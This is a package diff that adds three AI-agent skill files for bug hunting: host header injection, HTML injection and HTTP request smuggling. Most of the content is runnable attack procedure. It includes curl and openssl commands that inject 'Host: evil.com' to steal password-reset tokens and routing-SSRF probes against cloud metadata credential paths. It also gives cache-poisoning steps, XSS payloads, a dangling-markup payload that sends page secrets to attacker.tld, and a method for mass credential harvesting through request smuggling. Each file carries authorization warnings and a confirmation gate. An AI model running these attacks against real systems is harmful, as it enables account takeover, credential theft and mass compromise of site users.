opencode-skills-collection 4.0.68 → 4.0.69

package/bundled-skills/hunt-host-header/SKILL.md

@@ -0,0 +1,309 @@
+---
+name: hunt-host-header
+description: Hunt Host Header Injection
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: portswigger_research, hackerone_public
+report_count: 16
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+# HUNT-HOST-HEADER — Host Header Injection
+
+## Grounding / Provenance
+
+This skill is built from the public Host-header attack literature, not invented payloads.
+Cite the *technique source* in your report, never a fabricated ID:
+
+- **Password-reset poisoning class** — the canonical write-up is Skelet's/Detectify-era
+  "Practical HTTP Host header attacks" (the Django `request.get_host()` → password-reset-link
+  case). Many frameworks built the reset URL from the request Host with no `ALLOWED_HOSTS`-style
+  allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
+- **Web cache poisoning via unkeyed Host / X-Forwarded-Host** — PortSwigger Research,
+  James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020).
+  These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
+- **Routing-based SSRF** — PortSwigger Research, "Cracking the lens" / routing-based SSRF
+  (Host header steers the front-end's upstream selection).
+
+When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT
+on a fresh key, OOB hit from your Collaborator). Do **not** copy a CVE or H1 ID you have not
+verified — a missing citation is always better than a wrong one.
+
+---
+
+## Crown Jewel Targets
+
+Host header injection that reaches password reset links = Critical (ATO for any user).
+
+**Highest-value chains:**
+- **Password reset poisoning → ATO** — server builds the reset link from the request Host;
+  attacker sets `Host: evil.com`; the victim's reset email points the token at the attacker →
+  token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting*
+  their own reset leaks the token to evil.com.
+- **Web cache poisoning via unkeyed Host** — a CDN/reverse proxy caches a response that reflects
+  an attacker `X-Forwarded-Host` into an absolute URL (script src, link, redirect) → poisoned
+  entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.
+- **Routing-based SSRF** — the front-end uses the *Host header itself* to pick the upstream;
+  `Host: 169.254.169.254` (or an internal hostname) makes it forward your request to that target
+  → cloud metadata / internal admin panels.
+- **Path-override SSRF / ACL bypass** — IIS/ASP.NET/Spring honour `X-Original-URL` /
+  `X-Rewrite-URL` to override the routed path → reach `/admin` or internal endpoints the edge
+  ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)
+- **OAuth/OIDC poisoning** — Host drives `redirect_uri` or the OIDC `issuer` / discovery doc →
+  auth-code or token theft → ATO.
+
+---
+
+## Attack Surface Signals
+
+```
+Any password reset / forgot-password / email-verification / invite endpoint
+Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
+OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
+Absolute URLs constructed from request Host (set-password links, share links, webhooks)
+Email-sending endpoints (transactional mail, notifications)
+Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)
+```
+
+**Dangerous header candidates (unkeyed / trusted inputs):**
+```
+Host                 X-Forwarded-Host      X-Host
+X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
+X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)
+```
+
+---
+
+## Step-by-Step Hunting Methodology
+
+> Always test against **your own** registered test account. Never request another user's reset.
+
+### Phase 1 — Password Reset Poisoning
+
+```bash
+# 1a. Override Host directly
+curl -s -X POST https://$TARGET/forgot-password \
+  -H "Host: evil.com" \
+  -H "Content-Type: application/json" \
+  -d '{"email":"your-test-account@target.com"}'
+
+# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
+curl -s -X POST https://$TARGET/forgot-password \
+  -H "Host: $TARGET" \
+  -H "X-Forwarded-Host: evil.com" \
+  -d "email=your-test-account@target.com"
+
+# 1c. Host + X-Forwarded-Host combo, and X-Host
+curl -s -X POST https://$TARGET/forgot-password \
+  -H "Host: $TARGET" -H "X-Host: evil.com" \
+  -d "email=your-test-account@target.com"
+
+# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
+printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
+  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null
+
+# 1e. Absolute-URL injection: keep real Host, append attacker host so the
+#     reset link becomes https://TARGET.evil.com/... or routes the token out
+curl -s -X POST https://$TARGET/forgot-password \
+  -H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"
+
+# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
+curl -s -X POST https://$TARGET/forgot-password \
+  -H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"
+```
+
+**Confirm:** open the reset email *in your own test inbox* and read the link host. The token must
+appear under an attacker-controlled host (`evil.com`, `$TARGET.evil.com`, or a Collaborator
+domain) for this to be a real finding. **Use a Burp Collaborator domain as the injected host** so
+that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and
+have proof — see Validation.
+
+### Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host
+
+Mechanism: this is a **reflection** bug, not an OOB bug. The injected host must be *reflected into
+the response body* (an absolute URL, script `src`, `<link href>`, `<base href>`, redirect
+`Location`, or canonical/og:url) **and** that response must be **cached on a key you do not
+control**. No Collaborator callback is expected from the cache test itself — only later, if a
+victim's browser loads the poisoned absolute URL.
+
+```bash
+# 2a. Is the host reflected into the body?
+curl -s https://$TARGET/ \
+  -H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
+  | grep -i "canary"
+
+# 2b. Is the response cacheable, and what is the cache key?
+curl -sI "https://$TARGET/?cb=$RANDOM" \
+  | grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
+#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
+#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.
+
+# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
+URL="https://$TARGET/?cb=poison$RANDOM"
+curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null   # poison
+curl -s "$URL" | grep -i "evilcdn.example"                        # clean victim view → reflected = POISONED
+```
+
+**False-positive killers (mandatory):**
+- A reflection that only ever appears for *your* request (because the header is **keyed**, e.g. in
+  `Vary`, or the CDN includes Host in the key) is **not** poisoning — confirm 2c returns the
+  payload on a request that *omits* the header.
+- `Age: 0` + `MISS` every time → no shared cache → no mass impact. Demote to self-only / Low.
+- Confirm blast radius from a **second machine / fresh egress IP / incognito** before claiming
+  "mass". Cache scope is often per-edge / per-cookie / per-geo.
+
+### Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)
+
+These operate at different layers. Test them separately; they do **not** compose into one request.
+
+**(3A) Routing-based SSRF — the Host header selects the upstream.** The path goes on the
+**request line**, exactly as a normal request, because the metadata service / internal host serves
+plain HTTP and only sees the request line + headers you forward. `X-Original-URL` is irrelevant
+here — the EC2 IMDS ignores it.
+
+```bash
+# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
+curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
+curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"
+
+# GCP / Azure equivalents (still routing via Host):
+curl -s "https://$TARGET/computeMetadata/v1/" \
+  -H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
+curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
+  -H "Host: 169.254.169.254" -H "Metadata: true"
+
+# Internal hostname / port routing:
+curl -s "https://$TARGET/" -H "Host: localhost:6379"   # Redis behind the proxy
+curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"
+
+# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
+# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
+curl -s "https://$TARGET/" -H "Host: $COLLAB"
+```
+
+**(3B) Path-override SSRF / ACL bypass — `X-Original-URL` / `X-Rewrite-URL`.** This is an
+IIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the *routed path*. The real Host
+stays put; you are bypassing an **edge path ACL**, not steering an upstream. Keep the real Host.
+
+```bash
+# Reach an internal/blocked path the edge thought it denied. Real Host stays.
+curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
+curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
+# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.
+```
+
+> The old probe `Host: 169.254.169.254` + `X-Original-URL: /latest/meta-data/` was wrong: those
+> two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.
+
+### Phase 4 — OAuth / OIDC / SAML Poisoning
+
+```bash
+# Does the authorization endpoint build redirect_uri / display URL from Host?
+curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app&redirect_uri=https://$TARGET/cb" \
+  -H "Host: evil.com" | grep -iE "redirect|location|action="
+
+# OIDC discovery: if issuer/endpoints reflect Host, the whole flow can be re-pointed.
+curl -s "https://$TARGET/.well-known/openid-configuration" -H "X-Forwarded-Host: evil.com" \
+  | grep -iE "issuer|authorization_endpoint|token_endpoint|jwks_uri"
+```
+
+**Confirm:** the auth code / token must actually be delivered to the attacker host (capture on
+Collaborator) — a reflected string alone is not ATO.
+
+### Phase 5 — Header Fuzzing (Param Miner)
+
+Burp **Param Miner → Guess headers** is faster and finds unkeyed/cache-affecting headers the list
+below misses. Manual sweep:
+
+```bash
+HOST_HEADERS=(X-Forwarded-Host X-Host X-Forwarded-Server X-HTTP-Host-Override \
+  Forwarded X-Original-URL X-Rewrite-URL X-Override-URL X-Forwarded-Scheme)
+for H in "${HOST_HEADERS[@]}"; do
+  echo "=== $H ==="
+  curl -s -I "https://$TARGET/" -H "$H: canary-$RANDOM.example" \
+    | grep -iE "location|x-cache|cf-cache|age|set-cookie"
+done
+```
+
+---
+
+## Chain Table
+
+| Finding | Chain to | Impact |
+|---------|----------|--------|
+| Reset link host = attacker (own test acct) | Collaborator-host injection → capture token on click | Critical — ATO any user |
+| X-Forwarded-Host reflected in absolute URL + cacheable, unkeyed | Poison key → clean fetch returns payload → load XSS/redirect | High — mass cache poisoning |
+| Front-end routes by Host | `Host: 169.254.169.254` path-on-request-line → creds | High/Critical — SSRF → cloud creds |
+| `X-Original-URL` overrides path | Reach `/admin` blocked at edge | High — ACL bypass / SSRF |
+| OAuth redirect_uri/issuer built from Host | Re-point flow → capture code/token on Collaborator | Critical — ATO via code theft |
+
+---
+
+## Validation (house discipline)
+
+✅ **Password reset:** the token URL in **your own test account's email** uses an
+attacker-controlled host. Strongest proof = inject a **Collaborator** host and show the inbound
+HTTP hit carrying the token when the link is clicked/previewed (OOB capture).
+✅ **Cache poison:** a request that **omits** the injected header (fresh egress IP / incognito)
+still returns the attacker payload → shared-cache poisoning proven. Demote to Low if Vary-keyed or
+`MISS`/`Age:0` only.
+✅ **Routing SSRF:** real response body from `169.254.169.254` / internal host, **or** an OOB
+DNS/HTTP hit on your Collaborator from the front-end (blind case).
+✅ **Path-override:** status/body diff vs the edge-blocked direct request proves the override took.
+✅ **OAuth/OIDC:** the auth code / token is actually delivered to the attacker host (captured),
+not merely reflected.
+
+**Always rule out false positives:**
+- Reflected ≠ cached. Cached-for-you ≠ cached-for-others (check `Vary`, second IP).
+- A 200 echoing your Host string is not SSRF unless the *response content* came from the internal
+  target or your Collaborator fired.
+- Some mailers rewrite links to a fixed `SITE_URL` regardless of Host — reflected header in the
+  HTTP response does not guarantee a poisoned *email*; verify the email body.
+
+**Severity:**
+- Reset → ATO for any user: Critical
+- Routing SSRF → cloud metadata creds: Critical (if creds usable) / High
+- Cache poisoning → mass XSS/redirect (shared key proven): High
+- Path-override → internal/admin reach: High
+- Reflected only, uncacheable, not in email, no internal reach: Low / informational
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/hunt-html-injection/SKILL.md

@@ -0,0 +1,106 @@
+---
+name: hunt-html-injection
+description: Hunt HTML Injection
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: hackerone_public, public_research
+report_count: 6
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+## What is HTML Injection
+
+HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting `<b>`, `<h1>`, `<a>`, `<img>`, or `<form>` tags is sufficient.
+
+**To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary** — e.g. `"><img src=x onerror=alert(91234)>` or `<svg onload=alert(91234)>`. A distinctive 4+ digit number (not `alert(1)`) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.
+
+**Impact:**
+- Phishing via injected `<form>` or `<a href="attacker.com">` tags
+- UI defacement — `<h1>HACKED</h1>` renders visually on the page
+- Credential harvesting via injected login forms
+- Redirect via `<meta http-equiv="refresh">`
+- Stepping stone to XSS (may be blocked by WAF on `<script>` but not `<img onerror>`)
+- **Dangling-markup exfiltration** — even with `<script>` and event handlers filtered, an *unterminated* tag can capture page content that follows it. Inject `<img src='//attacker.tld/log?html=` (no closing quote/`>`); the browser treats everything up to the next `'` as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw `<` is reflected.
+- **Email/notification-context injection** — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected `<a>`/`<img>`/dangling markup in the *recipient's* inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: <https://hackerone.com/reports/1935628>, <https://hackerone.com/reports/3556892>.
+
+## Attack Surface
+
+Any input that is reflected or stored and then displayed in an HTML context:
+- Search boxes (`?q=`)
+- Comments, feedback, reviews
+- Profile fields (name, bio, username)
+- Error messages (`?error=`, `?message=`)
+- Subject / body of contact forms
+- Admin-visible fields (ticket titles, usernames in logs)
+
+## Autonomous Testing Priority
+
+**Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.**
+
+**Pattern 1 — Basic HTML tag injection:**
+```
+<b>CANARY</b>
+"><b>CANARY</b>
+```
+Use a unique string as CANARY (something distinct to this test run). **Proof:** the response contains `<b>CANARY` with literal `<` angle brackets — not `&lt;b&gt;CANARY`. A properly encoded app would escape `<` to `&lt;`.
+
+**Try multiple tag types when `<b>` is filtered:**
+- `<h1>CANARY</h1>` — heading tag (often less filtered)
+- `<img src=x onerror=CANARY>` — attribute context
+- `<a href="https://attacker.com">click</a>` — link injection (phishing proof)
+
+**For stored injection:** inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.
+
+**Escalate immediately:** if `<b>` injection works, try `<script>alert(1)</script>` — the same unsanitised input may allow full XSS.
+
+## Proof
+
+Confirmed when your injected tag appears in the response body with literal `<` angle brackets (not HTML-encoded). A safe app renders `&lt;b&gt;CANARY&lt;/b&gt;`; a vulnerable app renders `<b>CANARY</b>`.
+
+## Distinguishing HTML Injection from XSS
+
+- HTML injection: `<b>text</b>` renders as **text** in the browser — no JS execution needed.
+- XSS: `<script>alert(1)</script>` executes JavaScript.
+
+Some WAFs block `<script>` but pass `<b>` or `<img>` — start with non-script tags, then escalate.
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/hunt-http-smuggling/SKILL.md

@@ -0,0 +1,129 @@
+---
+name: hunt-http-smuggling
+description: Hunt HTTP request smuggling (CL.TE, TE.CL, H2.CL, H2.TE).
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: hackerone_public, cve_database, portswigger_research, public_research
+report_count: 12
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+##  HTTP REQUEST SMUGGLING
+> Lowest dup rate. $5K–$30K. PortSwigger research by James Kettle.
+
+### CL.TE (Content-Length front, Transfer-Encoding back)
+```http
+POST / HTTP/1.1
+Content-Length: 13
+Transfer-Encoding: chunked
+
+0
+
+SMUGGLED
+```
+
+### Detection
+```
+1. Burp extension: HTTP Request Smuggler
+2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
+3. Manual timing: CL.TE probe + ~10s delay = backend waiting for rest of body
+```
+
+### Impact Chain
+```
+Poison next request → access admin as victim
+Steal credentials → capture victim's session
+Cache poisoning → stored XSS at scale
+```
+
+---
+
+## Target-Suitability Matrix (2026 reality check)
+
+The classic CL.TE / TE.CL payloads are NOT universally exploitable in 2026. Modern proxies are RFC 9112 strict by default. Fingerprint the front-end BEFORE investing time.
+
+| Front-end | CL.TE | TE.CL | H2.CL | H2.TE | Notes |
+|---|---|---|---|---|---|
+| **Nginx ≥ 1.21** | NO | NO | partial (H2 ingress) | partial | RFC-strict; rejects CL+TE with HTTP 400. Verified locally on Nginx 1.27 — all 9 documented variants killed by front-end ([docs/verification/phase2h-smuggling-cachepoison.md](references/phase2h-smuggling-cachepoison.md)). |
+| **Caddy 2.x** | NO | NO | — | — | Hardened by default |
+| **Envoy ≥ 1.20** | NO | NO | partial | partial | Hardened in most paths |
+| **HAProxy ≤ 2.4** | ✓ | ✓ | — | — | **Vulnerable**, see CVE-2021-40346 |
+| **AWS ALB + specific upstream** | partial | partial | ✓ | ✓ | Several disclosed-paid reports 2022-2024 |
+| **Cloudflare → S3 / Lambda chains** | — | — | ✓ | ✓ | H2-downgrade attacks remain viable |
+| **Older F5 BIG-IP (TMM < 16)** | ✓ | — | — | — | Vendor advisories |
+| **Citrix ADC / NetScaler (older firmware)** | ✓ | ✓ | — | — | Disclosed in 2020-2022 |
+| **Squid 3.x** | ✓ | — | — | — | Older deployments |
+| **Apache Traffic Server (older)** | ✓ | ✓ | ✓ | ✓ | PortSwigger research |
+| **Apache mod_proxy_ajp → Tomcat** | — | — | — | — | Cross-protocol HTTP→AJP desync (CVE-2022-26377); smuggled request is opaque to the WAF and reaches internal AJP admin/status paths that lack the external auth controls |
+| **Custom Python / Go proxies** | ✓ | ✓ | — | — | Frequently miss RFC enforcement |
+
+### Operator fingerprint quick-check
+
+```bash
+curl -sI https://target/ | grep -i "Server:"
+```
+
+- `nginx/1.21+`, `Caddy`, `envoy` → CL/TE classic is dead — pivot to H2.CL/H2.TE if the front-end speaks HTTP/2, or look for legacy proxies upstream
+- `HAProxy`, header points to AWS/CDN → run the full payload matrix
+- No Server header → assume hardened, but run a single quick `space-before-colon` probe; if it doesn't 400, dig deeper
+
+### H2.CL / H2.TE (the modern dominant vector)
+
+H2-downgrade smuggling attacks rely on the front-end speaking HTTP/2 to the client and HTTP/1.1 to origin. The downgrade introduces CL/TE confusion because HTTP/2's frame-length headers don't survive the conversion cleanly. Most CDN+origin chains in 2024-2026 use this exact topology.
+
+Tools that send HTTP/2 raw frames (Burp Pro's HTTP Request Smuggler extension, `h2csmuggler`, `smuggler.py`) are the right starting point against CDN-fronted targets. Avoid HTTP/1.1-only test clients (curl, raw sockets) against H2-front-ended targets — you'll send the wrong protocol entirely.
+
+### Mass credential harvesting — the "collector gadget"
+The highest-impact smuggling outcome needs no per-victim interaction. Instead of blindly poisoning the queue, smuggle a request aimed at a **back-end handler that echoes the full request** — a search endpoint that reflects headers, or a redirect that mirrors the request line. The next victim's headers (`Cookie`, `Authorization`, `X-Access-Token`) get attributed to your smuggled request, and the reflecting handler returns them **in a response you read**. Repeated on a busy keep-alive socket, this harvests live credentials from arbitrary users at scale — and it works even through a CDN (Akamai/Cloudflare) when the CDN↔origin hop desyncs. Chains to `hunt-ato`.
+
+---
+
+## Related Skills & Chains
+
+- **`hunt-cache-poison`** — Smuggling + cache is the canonical critical chain; one smuggled request becomes the cached response for every subsequent victim. Chain primitive: CL.TE smuggle a request whose response body contains attacker HTML/JS → front-end cache stores it under a popular URL (`/`, `/login`) → de-sync poisoning where the smuggled request becomes the cached response for the next N victims, persisting for the cache TTL.
+- **`hunt-auth-bypass`** — Smuggling reaches internal-only routes that the front-end WAF/auth-proxy filters out. Chain primitive: smuggle `GET /admin/users HTTP/1.1` past the front-end ACL that blocks external `/admin/*` → backend processes the smuggled request as if from a trusted internal source → bypass front-end auth by smuggling internal-routed request → admin data in the response queue.
+- **`hunt-idor`** — Smuggling attaches the NEXT user's session cookies to an attacker-controlled request path. Chain primitive: smuggle `GET /api/me HTTP/1.1` with no cookies → backend pairs it with the next legitimate user's incoming connection cookies → victim's session cookie attached to attacker's smuggled request → attacker reads the response containing victim's PII/tokens.
+- **`hunt-xss`** — Smuggling injects XSS payloads into the response stream of the next victim without ever appearing in a URL parameter. Chain primitive: smuggled request body contains reflected payload that the backend renders into the next response in the queue → next visitor to `/` receives attacker HTML inline → reflected XSS at every visitor without any URL parameter visible to them or to logs.
+- **`security-arsenal`** — Reach for the smuggling payload bank (CL.TE / TE.CL / TE.TE obfuscations, H2.CL downgrade probes, h2csmuggler one-liners, Burp HTTP Request Smuggler extension config) and the time-delay confirmation template before manual hex-editing.
+- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical: the smuggled-request effect MUST land on a request issued by a different client/session, not your own follow-up. A timing delta in your own browser alone is parser disagreement, not exploitable smuggling.
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.